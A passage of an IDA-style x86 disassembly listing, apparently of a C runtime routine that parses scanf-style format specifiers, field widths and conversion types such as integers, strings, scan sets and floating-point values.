loc_420405:				; CODE XREF: sub_420375+58j
					; sub_420375+80j
		cmp	byte ptr [esi],	25h
		jnz	loc_420CE7
		and	[ebp+var_35], 0
		and	[ebp+var_18], 0
		and	[ebp+var_17], 0
		and	[ebp+var_E], 0
		and	[ebp+var_F], 0
		and	[ebp+var_16], 0
		xor	edi, edi
		and	[ebp+var_5], 0
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_D], 1
		mov	[ebp+var_30], ebx


loc_42043C:				; CODE XREF: sub_420375+172j
		movzx	ebx, byte ptr [esi+1]
		inc	esi
		cmp	dword_44276C, 1
		jle	short loc_420459
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41F37A
		pop	ecx
		pop	ecx
		jmp	short loc_420468
; ---------------------------------------------------------------------------


loc_420459:				; CODE XREF: sub_420375+D3j
		mov	ecx, off_442560
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_420468:				; CODE XREF: sub_420375+E2j
		test	eax, eax
		jz	short loc_42047E
		mov	eax, [ebp+var_C]
		inc	[ebp+var_20]
		lea	eax, [eax+eax*4]
		lea	eax, [ebx+eax*2-30h]
		mov	[ebp+var_C], eax
		jmp	short loc_4204E3
; ---------------------------------------------------------------------------


loc_42047E:				; CODE XREF: sub_420375+F5j
		cmp	ebx, 4Eh
		jg	short loc_4204C1
		jz	short loc_4204E3
		cmp	ebx, 2Ah
		jz	short loc_4204BC
		cmp	ebx, 46h
		jz	short loc_4204E3
		cmp	ebx, 49h
		jz	short loc_42049E
		cmp	ebx, 4Ch
		jnz	short loc_4204D0
		inc	[ebp+var_D]
		jmp	short loc_4204E3
; ---------------------------------------------------------------------------


loc_42049E:				; CODE XREF: sub_420375+11Dj
		cmp	byte ptr [esi+1], 36h
		jnz	short loc_4204D0
		cmp	byte ptr [esi+2], 34h
		lea	eax, [esi+2]
		jnz	short loc_4204D0
		inc	[ebp+var_30]
		and	[ebp+var_28], 0
		and	[ebp+var_24], 0
		mov	esi, eax
		jmp	short loc_4204E3
; ---------------------------------------------------------------------------


loc_4204BC:				; CODE XREF: sub_420375+113j
		inc	[ebp+var_E]
		jmp	short loc_4204E3
; ---------------------------------------------------------------------------


loc_4204C1:				; CODE XREF: sub_420375+10Cj
		cmp	ebx, 68h
		jz	short loc_4204DD
		cmp	ebx, 6Ch
		jz	short loc_4204D5
		cmp	ebx, 77h
		jz	short loc_4204D8


loc_4204D0:				; CODE XREF: sub_420375+122j
					; sub_420375+12Dj ...
		inc	[ebp+var_F]
		jmp	short loc_4204E3
; ---------------------------------------------------------------------------


loc_4204D5:				; CODE XREF: sub_420375+154j
		inc	[ebp+var_D]


loc_4204D8:				; CODE XREF: sub_420375+159j
		inc	[ebp+var_5]
		jmp	short loc_4204E3
; ---------------------------------------------------------------------------


loc_4204DD:				; CODE XREF: sub_420375+14Fj
		dec	[ebp+var_D]
		dec	[ebp+var_5]


loc_4204E3:				; CODE XREF: sub_420375+107j
					; sub_420375+10Ej ...
		cmp	[ebp+var_F], 0
		jz	loc_42043C
		cmp	[ebp+var_E], 0
		mov	[ebp+arg_4], esi
		jnz	short loc_420508
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_44], eax
		add	eax, 4
		mov	[ebp+arg_8], eax
		mov	eax, [eax-4]
		mov	[ebp+var_2C], eax


loc_420508:				; CODE XREF: sub_420375+17Fj
		and	[ebp+var_F], 0
		cmp	[ebp+var_5], 0
		jnz	short loc_420526
		mov	al, [esi]
		cmp	al, 53h
		jz	short loc_420522
		cmp	al, 43h
		jz	short loc_420522
		or	[ebp+var_5], 0FFh
		jmp	short loc_420526
; ---------------------------------------------------------------------------


loc_420522:				; CODE XREF: sub_420375+1A1j
					; sub_420375+1A5j
		mov	[ebp+var_5], 1


loc_420526:				; CODE XREF: sub_420375+19Bj
					; sub_420375+1ABj
		mov	ebx, [ebp+arg_4]
		movzx	esi, byte ptr [ebx]
		or	esi, 20h
		cmp	esi, 6Eh
		mov	[ebp+var_3C], esi
		jz	short loc_42055F
		cmp	esi, 63h
		jz	short loc_420550
		cmp	esi, 7Bh
		jz	short loc_420550
		push	[ebp+arg_0]
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_420E02
		pop	ecx
		jmp	short loc_42055B
; ---------------------------------------------------------------------------


loc_420550:				; CODE XREF: sub_420375+1C5j
					; sub_420375+1CAj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420DD1


loc_42055B:				; CODE XREF: sub_420375+1D9j
		pop	ecx
		mov	[ebp+var_14], eax


loc_42055F:				; CODE XREF: sub_420375+1C0j
		xor	eax, eax
		cmp	[ebp+var_20], eax
		jz	short loc_42056F
		cmp	[ebp+var_C], eax
		jz	loc_420D4B


loc_42056F:				; CODE XREF: sub_420375+1EFj
		cmp	esi, 6Fh
		jg	loc_4207D6
		jz	loc_420A88
		cmp	esi, 63h
		jz	loc_4207B3
		cmp	esi, 64h
		jz	loc_420A88
		jle	loc_420800
		cmp	esi, 67h
		jle	short loc_4205D3
		cmp	esi, 69h
		jz	short loc_4205BB
		cmp	esi, 6Eh
		jnz	loc_420800
		cmp	[ebp+var_E], 0
		mov	edi, [ebp+var_4]
		jz	loc_420CB6
		jmp	loc_420CDC
; ---------------------------------------------------------------------------


loc_4205BB:				; CODE XREF: sub_420375+229j
		push	64h
		pop	esi


loc_4205BE:				; CODE XREF: sub_420375+480j
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	loc_420848
		mov	[ebp+var_17], 1
		jmp	loc_42084D
; ---------------------------------------------------------------------------


loc_4205D3:				; CODE XREF: sub_420375+224j
		mov	ebx, [ebp+var_14]
		lea	esi, [ebp+var_1C4]
		cmp	ebx, 2Dh
		jnz	short loc_4205EF
		mov	[ebp+var_1C4], bl
		lea	esi, [ebp+var_1C3]
		jmp	short loc_4205F4
; ---------------------------------------------------------------------------


loc_4205EF:				; CODE XREF: sub_420375+26Aj
		cmp	ebx, 2Bh
		jnz	short loc_42060B


loc_4205F4:				; CODE XREF: sub_420375+278j
		mov	edi, [ebp+arg_0]
		dec	[ebp+var_C]
		inc	[ebp+var_4]
		push	edi
		call	sub_420DD1
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_42060E
; ---------------------------------------------------------------------------


loc_42060B:				; CODE XREF: sub_420375+27Dj
		mov	edi, [ebp+arg_0]


loc_42060E:				; CODE XREF: sub_420375+294j
		cmp	[ebp+var_20], 0
		jz	short loc_42061D
		cmp	[ebp+var_C], 15Dh
		jle	short loc_420624


loc_42061D:				; CODE XREF: sub_420375+29Dj
		mov	[ebp+var_C], 15Dh


loc_420624:				; CODE XREF: sub_420375+2A6j
					; sub_420375+2F2j
		cmp	dword_44276C, 1
		jle	short loc_420639
		push	4
		push	ebx
		call	sub_41F37A
		pop	ecx
		pop	ecx
		jmp	short loc_420644
; ---------------------------------------------------------------------------


loc_420639:				; CODE XREF: sub_420375+2B6j
		mov	eax, off_442560
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_420644:				; CODE XREF: sub_420375+2C2j
		test	eax, eax
		jz	short loc_420669
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_420669
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_420DD1
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_420624
; ---------------------------------------------------------------------------


loc_420669:				; CODE XREF: sub_420375+2D1j
					; sub_420375+2DBj
		cmp	byte_442770, bl
		jnz	short loc_4206D7
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_4206D7
		inc	[ebp+var_4]
		push	edi
		call	sub_420DD1
		mov	ebx, eax
		mov	al, byte_442770
		mov	[esi], al
		pop	ecx
		mov	[ebp+var_14], ebx
		inc	esi


loc_420692:				; CODE XREF: sub_420375+360j
		cmp	dword_44276C, 1
		jle	short loc_4206A7
		push	4
		push	ebx
		call	sub_41F37A
		pop	ecx
		pop	ecx
		jmp	short loc_4206B2
; ---------------------------------------------------------------------------


loc_4206A7:				; CODE XREF: sub_420375+324j
		mov	eax, off_442560
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_4206B2:				; CODE XREF: sub_420375+330j
		test	eax, eax
		jz	short loc_4206D7
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_4206D7
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_420DD1
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_420692
; ---------------------------------------------------------------------------


loc_4206D7:				; CODE XREF: sub_420375+2FAj
					; sub_420375+304j ...
		cmp	[ebp+var_1C], 0
		jz	loc_42076F
		cmp	ebx, 65h
		jz	short loc_4206EF
		cmp	ebx, 45h
		jnz	loc_42076F


loc_4206EF:				; CODE XREF: sub_420375+36Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_42076F
		mov	byte ptr [esi],	65h
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_420DD1
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 2Dh
		mov	[ebp+var_14], ebx
		jnz	short loc_420716
		mov	[esi], al
		inc	esi
		jmp	short loc_42071B
; ---------------------------------------------------------------------------


loc_420716:				; CODE XREF: sub_420375+39Aj
		cmp	ebx, 2Bh
		jnz	short loc_420739


loc_42071B:				; CODE XREF: sub_420375+39Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jnz	short loc_42072A
		and	[ebp+var_C], eax
		jmp	short loc_420739
; ---------------------------------------------------------------------------


loc_42072A:				; CODE XREF: sub_420375+3AEj
					; sub_420375+3F8j
		inc	[ebp+var_4]
		push	edi
		call	sub_420DD1
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_420739:				; CODE XREF: sub_420375+3A4j
					; sub_420375+3B3j
		cmp	dword_44276C, 1
		jle	short loc_42074E
		push	4
		push	ebx
		call	sub_41F37A
		pop	ecx
		pop	ecx
		jmp	short loc_420759
; ---------------------------------------------------------------------------


loc_42074E:				; CODE XREF: sub_420375+3CBj
		mov	eax, off_442560
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_420759:				; CODE XREF: sub_420375+3D7j
		test	eax, eax
		jz	short loc_42076F
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_42076F
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		jmp	short loc_42072A
; ---------------------------------------------------------------------------


loc_42076F:				; CODE XREF: sub_420375+366j
					; sub_420375+374j ...
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_420DEB
		cmp	[ebp+var_1C], 0
		pop	ecx
		pop	ecx
		jz	loc_420D7B
		cmp	[ebp+var_E], 0
		jnz	loc_420CDC
		inc	[ebp+var_34]
		and	byte ptr [esi],	0
		lea	eax, [ebp+var_1C4]
		push	eax
		movsx	eax, [ebp+var_D]
		push	[ebp+var_2C]
		dec	eax
		push	eax
		call	off_442B10
		add	esp, 0Ch
		jmp	loc_420CDC
; ---------------------------------------------------------------------------


loc_4207B3:				; CODE XREF: sub_420375+20Cj
		cmp	[ebp+var_20], eax
		jnz	short loc_4207C2
		inc	[ebp+var_C]
		mov	[ebp+var_20], 1


loc_4207C2:				; CODE XREF: sub_420375+441j
		cmp	[ebp+var_5], 0
		jle	short loc_4207CC
		mov	[ebp+var_16], 1


loc_4207CC:				; CODE XREF: sub_420375+451j
		mov	edi, offset dword_4429E8
		jmp	loc_4208E1
; ---------------------------------------------------------------------------


loc_4207D6:				; CODE XREF: sub_420375+1FDj
		mov	eax, esi
		sub	eax, 70h
		jz	loc_420A84
		sub	eax, 3
		jz	loc_4208D2
		dec	eax
		dec	eax
		jz	loc_420A88
		sub	eax, 3
		jz	loc_4205BE
		sub	eax, 3
		jz	short loc_420824


loc_420800:				; CODE XREF: sub_420375+21Bj
					; sub_420375+22Ej
		movzx	eax, byte ptr [ebx]
		cmp	eax, [ebp+var_14]
		jnz	loc_420D4B
		dec	[ebp+var_15]
		cmp	[ebp+var_E], 0
		jnz	loc_420CDC
		mov	eax, [ebp+var_44]
		mov	[ebp+arg_8], eax
		jmp	loc_420CDC
; ---------------------------------------------------------------------------


loc_420824:				; CODE XREF: sub_420375+489j
		cmp	[ebp+var_5], 0
		jle	short loc_42082E
		mov	[ebp+var_16], 1


loc_42082E:				; CODE XREF: sub_420375+4B3j
		mov	edi, [ebp+arg_4]
		inc	edi
		mov	[ebp+arg_4], edi
		cmp	byte ptr [edi],	5Eh
		jnz	loc_4208E5
		mov	eax, edi
		lea	edi, [eax+1]
		jmp	loc_4208E1
; ---------------------------------------------------------------------------


loc_420848:				; CODE XREF: sub_420375+24Fj
		cmp	ebx, 2Bh
		jnz	short loc_42086F


loc_42084D:				; CODE XREF: sub_420375+259j
		dec	[ebp+var_C]
		jnz	short loc_42085E
		cmp	[ebp+var_20], 0
		jz	short loc_42085E
		mov	[ebp+var_F], 1
		jmp	short loc_42086F
; ---------------------------------------------------------------------------


loc_42085E:				; CODE XREF: sub_420375+4DBj
					; sub_420375+4E1j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420DD1
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_42086F:				; CODE XREF: sub_420375+4D6j
					; sub_420375+4E7j
		cmp	ebx, 30h
		jnz	loc_420ABD
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420DD1
		mov	ebx, eax
		pop	ecx
		cmp	bl, 78h
		mov	[ebp+var_14], ebx
		jz	short loc_4208BD
		cmp	bl, 58h
		jz	short loc_4208BD
		cmp	esi, 78h
		mov	[ebp+var_1C], 1
		jz	short loc_4208A7
		push	6Fh


loc_4208A1:				; CODE XREF: sub_420375+55Bj
		pop	esi
		jmp	loc_420ABD
; ---------------------------------------------------------------------------


loc_4208A7:				; CODE XREF: sub_420375+528j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_420DEB
		pop	ecx
		pop	ecx
		push	30h
		pop	ebx
		jmp	loc_420ABA
; ---------------------------------------------------------------------------


loc_4208BD:				; CODE XREF: sub_420375+517j
					; sub_420375+51Cj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420DD1
		pop	ecx
		mov	ebx, eax
		mov	[ebp+var_14], ebx
		push	78h
		jmp	short loc_4208A1
; ---------------------------------------------------------------------------


loc_4208D2:				; CODE XREF: sub_420375+46Fj
		cmp	[ebp+var_5], 0
		jle	short loc_4208DC
		mov	[ebp+var_16], 1


loc_4208DC:				; CODE XREF: sub_420375+561j
		mov	edi, offset dword_4429E0


loc_4208E1:				; CODE XREF: sub_420375+45Cj
					; sub_420375+4CEj
		or	[ebp+var_18], 0FFh


loc_4208E5:				; CODE XREF: sub_420375+4C3j
		push	20h
		lea	eax, [ebp+var_64]
		push	0
		push	eax
		call	sub_41BC40
		add	esp, 0Ch
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_420909
		cmp	byte ptr [edi],	5Dh
		jnz	short loc_420909
		mov	dl, 5Dh
		inc	edi
		mov	[ebp+var_59], 20h
		jmp	short loc_42090C
; ---------------------------------------------------------------------------


loc_420909:				; CODE XREF: sub_420375+584j
					; sub_420375+589j
		mov	dl, [ebp+var_35]


loc_42090C:				; CODE XREF: sub_420375+592j
					; sub_420375+5E1j ...
		mov	al, [edi]
		cmp	al, 5Dh
		jz	short loc_420971
		inc	edi
		cmp	al, 2Dh
		jnz	short loc_420958
		test	dl, dl
		jz	short loc_420958
		mov	cl, [edi]
		cmp	cl, 5Dh
		jz	short loc_420958
		inc	edi
		cmp	dl, cl
		jnb	short loc_42092B
		mov	al, cl
		jmp	short loc_42092F
; ---------------------------------------------------------------------------


loc_42092B:				; CODE XREF: sub_420375+5B0j
		mov	al, dl
		mov	dl, cl


loc_42092F:				; CODE XREF: sub_420375+5B4j
		cmp	dl, al
		ja	short loc_420954
		movzx	edx, dl
		movzx	esi, al
		sub	esi, edx
		inc	esi


loc_42093C:				; CODE XREF: sub_420375+5DDj
		mov	ecx, edx
		mov	eax, edx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		inc	edx
		dec	esi
		jnz	short loc_42093C


loc_420954:				; CODE XREF: sub_420375+5BCj
		xor	dl, dl
		jmp	short loc_42090C
; ---------------------------------------------------------------------------


loc_420958:				; CODE XREF: sub_420375+5A0j
					; sub_420375+5A4j ...
		movzx	ecx, al
		mov	dl, al
		mov	eax, ecx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		jmp	short loc_42090C
; ---------------------------------------------------------------------------


loc_420971:				; CODE XREF: sub_420375+59Bj
		cmp	byte ptr [edi],	0
		jz	loc_420D7B
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_420983
		mov	[ebp+arg_4], edi


loc_420983:				; CODE XREF: sub_420375+609j
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+var_2C]
		dec	[ebp+var_4]
		push	edi
		push	[ebp+var_14]
		mov	[ebp+var_30], esi
		call	sub_420DEB
		pop	ecx
		pop	ecx


loc_42099A:				; CODE XREF: sub_420375+6BCj
					; sub_420375+6C4j
		cmp	[ebp+var_20], 0
		jz	short loc_4209AE
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	loc_420A4A


loc_4209AE:				; CODE XREF: sub_420375+629j
		inc	[ebp+var_4]
		push	edi
		call	sub_420DD1
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+var_14], eax
		jz	short loc_420A3E
		mov	ecx, eax
		push	1
		and	ecx, 7
		pop	edx
		movsx	ebx, [ebp+var_18]
		shl	edx, cl
		mov	ecx, eax
		sar	ecx, 3
		movsx	ecx, [ebp+ecx+var_64]
		xor	ecx, ebx
		test	edx, ecx
		jz	short loc_420A3E
		cmp	[ebp+var_E], 0
		jnz	short loc_420A36
		cmp	[ebp+var_16], 0
		jz	short loc_420A2B
		mov	ecx, off_442560
		mov	[ebp+var_38], al
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_420A0A
		inc	[ebp+var_4]
		push	edi
		call	sub_420DD1
		pop	ecx
		mov	[ebp+var_37], al


loc_420A0A:				; CODE XREF: sub_420375+686j
		push	dword_44276C
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_3E]
		push	eax
		call	sub_423D26
		mov	ax, [ebp+var_3E]
		add	esp, 0Ch
		mov	[esi], ax
		inc	esi
		inc	esi
		jmp	short loc_420A2E
; ---------------------------------------------------------------------------


loc_420A2B:				; CODE XREF: sub_420375+673j
		mov	[esi], al
		inc	esi


loc_420A2E:				; CODE XREF: sub_420375+6B4j
		mov	[ebp+var_2C], esi
		jmp	loc_42099A
; ---------------------------------------------------------------------------


loc_420A36:				; CODE XREF: sub_420375+66Dj
		inc	[ebp+var_30]
		jmp	loc_42099A
; ---------------------------------------------------------------------------


loc_420A3E:				; CODE XREF: sub_420375+649j
					; sub_420375+667j
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_420DEB
		pop	ecx
		pop	ecx


loc_420A4A:				; CODE XREF: sub_420375+633j
		cmp	[ebp+var_30], esi
		jz	loc_420D7B
		cmp	[ebp+var_E], 0
		jnz	loc_420CDC
		inc	[ebp+var_34]
		cmp	[ebp+var_3C], 63h
		jz	loc_420CDC
		cmp	[ebp+var_16], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_420A7C
		and	word ptr [eax],	0
		jmp	loc_420CDC
; ---------------------------------------------------------------------------


loc_420A7C:				; CODE XREF: sub_420375+6FCj
		and	byte ptr [eax],	0
		jmp	loc_420CDC
; ---------------------------------------------------------------------------


loc_420A84:				; CODE XREF: sub_420375+466j
		mov	[ebp+var_D], 1


loc_420A88:				; CODE XREF: sub_420375+203j
					; sub_420375+215j ...
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	short loc_420A96
		mov	[ebp+var_17], 1
		jmp	short loc_420A9B
; ---------------------------------------------------------------------------


loc_420A96:				; CODE XREF: sub_420375+719j
		cmp	ebx, 2Bh
		jnz	short loc_420ABD


loc_420A9B:				; CODE XREF: sub_420375+71Fj
		dec	[ebp+var_C]
		jnz	short loc_420AAC
		cmp	[ebp+var_20], 0
		jz	short loc_420AAC
		mov	[ebp+var_F], 1
		jmp	short loc_420ABD
; ---------------------------------------------------------------------------


loc_420AAC:				; CODE XREF: sub_420375+729j
					; sub_420375+72Fj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420DD1
		pop	ecx
		mov	ebx, eax


loc_420ABA:				; CODE XREF: sub_420375+543j
		mov	[ebp+var_14], ebx


loc_420ABD:				; CODE XREF: sub_420375+4FDj
					; sub_420375+52Dj ...
		cmp	[ebp+var_30], 0
		jz	loc_420BD6
		cmp	[ebp+var_F], 0
		jnz	loc_420BB4


loc_420AD1:				; CODE XREF: sub_420375+82Cj
		cmp	esi, 78h
		jnz	short loc_420B25
		cmp	dword_44276C, 1
		jle	short loc_420AEE
		push	80h
		push	ebx
		call	sub_41F37A
		pop	ecx
		pop	ecx
		jmp	short loc_420AFB
; ---------------------------------------------------------------------------


loc_420AEE:				; CODE XREF: sub_420375+768j
		mov	eax, off_442560
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_420AFB:				; CODE XREF: sub_420375+777j
		test	eax, eax
		jz	loc_420BA6
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	4
		pop	ecx
		call	sub_423DF0
		push	ebx
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx
		call	sub_420D9A
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_420B78
; ---------------------------------------------------------------------------


loc_420B25:				; CODE XREF: sub_420375+75Fj
		cmp	dword_44276C, 1
		jle	short loc_420B3A
		push	4
		push	ebx
		call	sub_41F37A
		pop	ecx
		pop	ecx
		jmp	short loc_420B45
; ---------------------------------------------------------------------------


loc_420B3A:				; CODE XREF: sub_420375+7B7j
		mov	eax, off_442560
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_420B45:				; CODE XREF: sub_420375+7C3j
		test	eax, eax
		jz	short loc_420BA6
		cmp	esi, 6Fh
		jnz	short loc_420B63
		cmp	ebx, 38h
		jge	short loc_420BA6
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	3
		pop	ecx
		call	sub_423DF0
		jmp	short loc_420B72
; ---------------------------------------------------------------------------


loc_420B63:				; CODE XREF: sub_420375+7D7j
		push	0
		push	0Ah
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	sub_41D950


loc_420B72:				; CODE XREF: sub_420375+7ECj
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx


loc_420B78:				; CODE XREF: sub_420375+7AEj
		inc	[ebp+var_1C]
		lea	eax, [ebx-30h]
		cdq
		add	[ebp+var_28], eax
		adc	[ebp+var_24], edx
		cmp	[ebp+var_20], 0
		jz	short loc_420B90
		dec	[ebp+var_C]
		jz	short loc_420BB4


loc_420B90:				; CODE XREF: sub_420375+814j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420DD1
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_420AD1
; ---------------------------------------------------------------------------


loc_420BA6:				; CODE XREF: sub_420375+788j
					; sub_420375+7D2j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_420DEB
		pop	ecx
		pop	ecx


loc_420BB4:				; CODE XREF: sub_420375+756j
					; sub_420375+819j
		cmp	[ebp+var_17], 0
		jz	loc_420C9A
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_24]
		neg	eax
		adc	ecx, 0
		mov	[ebp+var_28], eax
		neg	ecx
		mov	[ebp+var_24], ecx
		jmp	loc_420C9A
; ---------------------------------------------------------------------------


loc_420BD6:				; CODE XREF: sub_420375+74Cj
		cmp	[ebp+var_F], 0
		jnz	loc_420C92


loc_420BE0:				; CODE XREF: sub_420375+90Aj
		cmp	esi, 78h
		jz	short loc_420C24
		cmp	esi, 70h
		jz	short loc_420C24
		cmp	dword_44276C, 1
		jle	short loc_420BFF
		push	4
		push	ebx
		call	sub_41F37A
		pop	ecx
		pop	ecx
		jmp	short loc_420C0A
; ---------------------------------------------------------------------------


loc_420BFF:				; CODE XREF: sub_420375+87Cj
		mov	eax, off_442560
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_420C0A:				; CODE XREF: sub_420375+888j
		test	eax, eax
		jz	short loc_420C84
		cmp	esi, 6Fh
		jnz	short loc_420C1D
		cmp	ebx, 38h
		jge	short loc_420C84
		shl	edi, 3
		jmp	short loc_420C5C
; ---------------------------------------------------------------------------


loc_420C1D:				; CODE XREF: sub_420375+89Cj
		lea	edi, [edi+edi*4]
		shl	edi, 1
		jmp	short loc_420C5C
; ---------------------------------------------------------------------------


loc_420C24:				; CODE XREF: sub_420375+86Ej
					; sub_420375+873j
		cmp	dword_44276C, 1
		jle	short loc_420C3C
		push	80h
		push	ebx
		call	sub_41F37A
		pop	ecx
		pop	ecx
		jmp	short loc_420C49
; ---------------------------------------------------------------------------


loc_420C3C:				; CODE XREF: sub_420375+8B6j
		mov	eax, off_442560
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_420C49:				; CODE XREF: sub_420375+8C5j
		test	eax, eax
		jz	short loc_420C84
		push	ebx
		shl	edi, 4
		call	sub_420D9A
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_420C5C:				; CODE XREF: sub_420375+8A6j
					; sub_420375+8ADj
		inc	[ebp+var_1C]
		cmp	[ebp+var_20], 0
		lea	edi, [edi+ebx-30h]
		jz	short loc_420C6E
		dec	[ebp+var_C]
		jz	short loc_420C92


loc_420C6E:				; CODE XREF: sub_420375+8F2j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420DD1
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_420BE0
; ---------------------------------------------------------------------------


loc_420C84:				; CODE XREF: sub_420375+897j
					; sub_420375+8A1j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_420DEB
		pop	ecx
		pop	ecx


loc_420C92:				; CODE XREF: sub_420375+865j
					; sub_420375+8F7j
		cmp	[ebp+var_17], 0
		jz	short loc_420C9A
		neg	edi


loc_420C9A:				; CODE XREF: sub_420375+843j
					; sub_420375+85Cj ...
		cmp	esi, 46h
		jnz	short loc_420CA3
		and	[ebp+var_1C], 0


loc_420CA3:				; CODE XREF: sub_420375+928j
		cmp	[ebp+var_1C], 0
		jz	loc_420D7B
		cmp	[ebp+var_E], 0
		jnz	short loc_420CDC
		inc	[ebp+var_34]


loc_420CB6:				; CODE XREF: sub_420375+23Bj
		cmp	[ebp+var_30], 0
		jz	short loc_420CCC
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_28]
		mov	[eax], ecx
		mov	ecx, [ebp+var_24]
		mov	[eax+4], ecx
		jmp	short loc_420CDC
; ---------------------------------------------------------------------------


loc_420CCC:				; CODE XREF: sub_420375+945j
		cmp	[ebp+var_D], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_420CD9
		mov	[eax], edi
		jmp	short loc_420CDC
; ---------------------------------------------------------------------------


loc_420CD9:				; CODE XREF: sub_420375+95Ej
		mov	[eax], di


loc_420CDC:				; CODE XREF: sub_420375+241j
					; sub_420375+414j ...
		inc	[ebp+var_15]
		inc	[ebp+arg_4]
		mov	esi, [ebp+arg_4]
		jmp	short loc_420D29
; ---------------------------------------------------------------------------


loc_420CE7:				; CODE XREF: sub_420375+93j
		inc	[ebp+var_4]
		push	edi
		call	sub_420DD1
		mov	ebx, eax
		pop	ecx
		movzx	eax, byte ptr [esi]
		inc	esi
		cmp	eax, ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+arg_4], esi
		jnz	short loc_420D56
		mov	ecx, off_442560
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_420D29
		inc	[ebp+var_4]
		push	edi
		call	sub_420DD1
		pop	ecx
		movzx	ecx, byte ptr [esi]
		inc	esi
		cmp	ecx, eax
		mov	[ebp+arg_4], esi
		jnz	short loc_420D64
		dec	[ebp+var_4]


loc_420D29:				; CODE XREF: sub_420375+970j
					; sub_420375+99Aj
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_420D3F
		cmp	byte ptr [esi],	25h
		jnz	short loc_420D81
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax+1], 6Eh
		jnz	short loc_420D81
		mov	esi, eax


loc_420D3F:				; CODE XREF: sub_420375+9B8j
		mov	al, [esi]
		test	al, al
		jnz	loc_42039F
		jmp	short loc_420D7B
; ---------------------------------------------------------------------------


loc_420D4B:				; CODE XREF: sub_420375+1F4j
					; sub_420375+491j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	[ebp+var_14]
		jmp	short loc_420D5B
; ---------------------------------------------------------------------------


loc_420D56:				; CODE XREF: sub_420375+98Aj
		dec	[ebp+var_4]
		push	edi
		push	ebx


loc_420D5B:				; CODE XREF: sub_420375+9DFj
		call	sub_420DEB
		pop	ecx
